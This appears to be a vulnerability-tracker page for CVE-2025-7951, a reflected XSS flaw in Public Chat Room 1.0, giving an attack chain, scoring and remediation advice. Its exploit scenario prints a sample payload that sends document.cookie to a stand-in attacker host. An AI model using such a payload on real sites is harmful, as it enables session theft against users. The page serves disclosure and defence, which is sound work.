Public Chat Room
CVE-2025-7951
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker authenticates to application
-
DeliverySubmits XSS payload in chat_msg parameter
-
ExploitApplication reflects unencoded payload in response
-
ExecutionVictim views message in chat interface
-
PersistBrowser parses and executes injected script
-
ImpactAttacker captures victim session or performs unauthorized actions
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the following specific conditions: (1) Valid authentication credentials for the Public Chat Room application (user account must be created and logged in), (2) The targeted victim must be an authenticated user of the same chat room who will view the attacker's message, (3) The victim's browser must execute scripts (JavaScript must be enabled, the default state for all modern browsers), (4) The victim must click or interact with the poisoned message or the page must auto-load the message content (UI interaction required per CVSS). The vulnerability does NOT require special application configuration - it affects default installations. Scope is strictly limited to reflected XSS in the message display context; authentication requirement and user interaction prerequisite significantly reduce real-world attack frequency compared to network-accessible unauthenticated vulnerabilities. |
| Impact | Risk assessment reveals a significant disconnect between raw CVSS and real-world exploitability. The CVSS score of 2.0 reflects essential mitigating factors: authentication is required (PR:L), user interaction is mandatory (UI:P), and the impact is limited to integrity of user information only (VI:L with VC:N, VA:N, SA:N). The extremely low EPSS score (0.05th percentile) indicates minimal probability of automated, widespread exploitation despite public POC availability. However, the presence of publicly available exploit code lowers the barrier for manual, targeted attacks. Attack vector is network (AV:N) and attack complexity is low (AC:L), meaning exploitation is straightforward if conditions are met. The realistic risk profile is: low to moderate priority, suitable for standard patching cycles, not emergency response. Organizations should prioritize this below critical vulnerabilities but address it within normal maintenance windows given the public exploit and authentication requirement limiting exposure. |
| Exploit ScenarioDerived | An attacker creates a valid account or compromises an existing user's credentials, then submits a crafted message in /send_message.php with the chat_msg parameter set to a JavaScript payload (e.g., <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>). When another authenticated user views the message in the chat interface, the browser executes the injected script, stealing the victim's session cookies or performing actions on their behalf within the application. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Reflected cross-site scripting in Public Chat Room 1.0 allows authenticated remote attackers to inject malicious scripts via the chat_msg or your_name parameters in /send_message.php, requiring user interaction to trigger payload execution. The vulnerability has a low CVSS score (2.0) and EPSS exploitation probability (0.05th percentile), but publicly available exploit code exists, limiting attack complexity for threat actors with valid credentials.
RemediationAI
Vendor-released patch information is not identified at time of analysis. Immediate remediation should include implementing output encoding (HTML entity encoding) for all user-supplied input reflected in responses, specifically the chat_msg and your_name parameters. Apply a Web Application Firewall (WAF) rule set to block requests containing script tags, event handlers (onclick, onerror, etc.), and encoded XSS payloads in the /send_message.php endpoint as a temporary compensating control. Restrict access to the chat application to trusted internal networks only if business requirements permit, reducing the attack surface while patches are developed. Conduct a code review of all input handling in the application and implement input validation using a whitelist approach (allowing only alphanumeric characters and basic punctuation for usernames; sanitizing message content server-side). If the vendor does not release a patch, upgrade to a newer version of Public Chat Room once available, or migrate to an alternative chat solution with security hardening.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Public Chat Room is a PHP-based web application for real-time messaging. The vulnerability stems from inadequate input sanitization in the /send_message.php endpoint, which handles user-supplied chat messages and usernames. The application fails to properly encode or filter the chat_msg and your_name parameters before reflecting them in HTTP responses, violating CWE-79 (Improper Neutralization of Input During Web Page Generation). This class of flaw allows attackers to inject arbitrary HTML and JavaScript that executes in victims' browsers when they view the poisoned message.
Know when Public Chat Room gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
A vulnerability classified as problematic has been found in code-projects Public Chat Room 1.0. This affects an unknown part of the file /send_message.php. The manipulation of the argument chat_msg/your_name leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
More in Public Chat Room
View allSQL injection vulnerability in Public Chat Room 1.0 allows unauthenticated remote attackers to inject malicious SQL via
SQL injection in code-projects Public Chat Room 1.0 via the ID parameter in send_message.php allows authenticated remote
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB